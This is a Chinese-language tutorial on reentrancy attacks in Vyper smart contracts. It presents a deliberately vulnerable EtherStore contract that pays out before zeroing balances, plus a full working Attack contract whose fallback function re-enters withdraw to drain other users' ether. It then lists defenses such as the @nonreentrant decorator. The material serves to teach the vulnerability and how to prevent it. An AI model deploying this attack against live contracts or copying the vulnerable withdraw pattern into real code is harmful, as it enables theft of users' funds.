在这篇文章中,我们探讨了Vyper智能合约中重入攻击的机制、案例以及防御方法。重入攻击是一种严重的安全威胁,当合约在发送资金之前未能更新其状态时,攻击者可以通过递归调用提取函数来耗尽合约资金。重入攻击不仅仅在solidity中很常见,在Vyper智能合约中同样应该注意!
Reentrancy攻击是以太坊智能合约中最具破坏性的攻击之一。当一个函数对另一个不可信合约进行外部调用时,就会发生重入攻击。然后,不可信合约会递归调用原始函数,试图耗尽资金。
当合约在发送资金之前未能更新其状态时,攻击者可以不断调用提取函数以耗尽合约资金。一个著名的真实世界重入攻击案例是DAO攻击,导致损失了6000万美元。
重入攻击涉及两个智能合约。一个是易受攻击的合约,另一个是攻击者的不可信合约。
现在提取函数将再次验证它是否可以执行:
可能大家对solidity的智能合约重入攻击比较熟悉,本次文章中,我们将以Vyper的代码展示重入攻击的漏洞。
# @version >=0.3.2
"""
@notice EtherStore is a contract where you can deposit ETH and withdraw that same amount of ETH later.
This contract is vulnerable to re-entrancy attack. Here is the attack flow:
1. Deposit 1 ETH each from Account 1 (Alice) and Account 2 (Bob) into EtherStore.
2. Deploy the Attack contract.
3. Call the Attack contract's attack function sending 1 ether (using Account 3 (Eve)).
You will get 3 Ethers back (2 Ether stolen from Alice and Bob,
plus 1 Ether sent from this contract).
What happened?
Attack was able to call EtherStore.withdraw multiple times before
EtherStore.withdraw finished executing.
"""
# @notice Mapping from address to ETH balance held in the contract
balances: public(HashMap[address, uint256])
# @notice Function to deposit ETH into the contract
@external
@payable
def deposit():
self.balances[msg.sender] += msg.value
# @notice Function to withdraw the ETH deposited into the contract
@external
def withdraw():
bal: uint256 = self.balances[msg.sender]
assert bal > 0, "This account does not have a balance"
# @dev Send the user's balance to them using raw call
raw_call(msg.sender, b'', value=bal)
# @dev Set user's balance to 0
self.balances[msg.sender] = 0
# @notice Helper function to get the balance of the contract
@external
@view
def getBalance() -> uint256:
return self.balance
# @version >=0.3.2
"""
@notice Here is the order of function calls during the attack
- Attack.attack
- EtherStore.deposit
- EtherStore.withdraw
- Attack.default (receives 1 Ether)
- EtherStore.withdraw
- Attack.default (receives 1 Ether)
- EtherStore.withdraw
- Attack.ldefault (receives 1 Ether)
"""
# @notice Interface with the Etherstore contract
interface IEtherstore:
def deposit(): payable
def withdraw(): nonpayable
def getBalance() -> uint256: view
# @notice The address where the Etherstore contract is deployed
victim: public(address)
# @notice Set the victim address
@external
def setVictim(_victim:address):
self.victim = _victim
# @notice Default is called when EtherStore sends ETH to this contract.
@external
@payable
def __default__():
# @dev Checks if the balance of the Etherstore contract is greater than 1 ETH (in wei)
if IEtherstore(self.victim).getBalance() >= as_wei_value(1, "ether"):
IEtherstore(self.victim).withdraw()
@external
@payable
def attack():
assert msg.value >= as_wei_value(1, "ether"), "Must send 1 ETH"
IEtherstore(self.victim).deposit(value=as_wei_value(1, "ether"))
IEtherstore(self.victim).withdraw()
# @notice Helper function to get the balance of the contract
@external
@view
def getBalance() -> uint256:
return self.balance
使用 send()
代替 call()
:重入攻击将失败,因为 send()
不会转发足够的 gas 进行下一步操作。
使用 @nonreentrant(<key>)
修饰符:在你的提取函数上应用此修饰符将阻止重入攻击。
在这篇文章中,我们探讨了Vyper智能合约中重入攻击的机制、案例以及防御方法。重入攻击是一种严重的安全威胁,当合约在发送资金之前未能更新其状态时,攻击者可以通过递归调用提取函数来耗尽合约资金。重入攻击不仅仅在solidity中很常见,在Vyper智能合约中同样应该注意!
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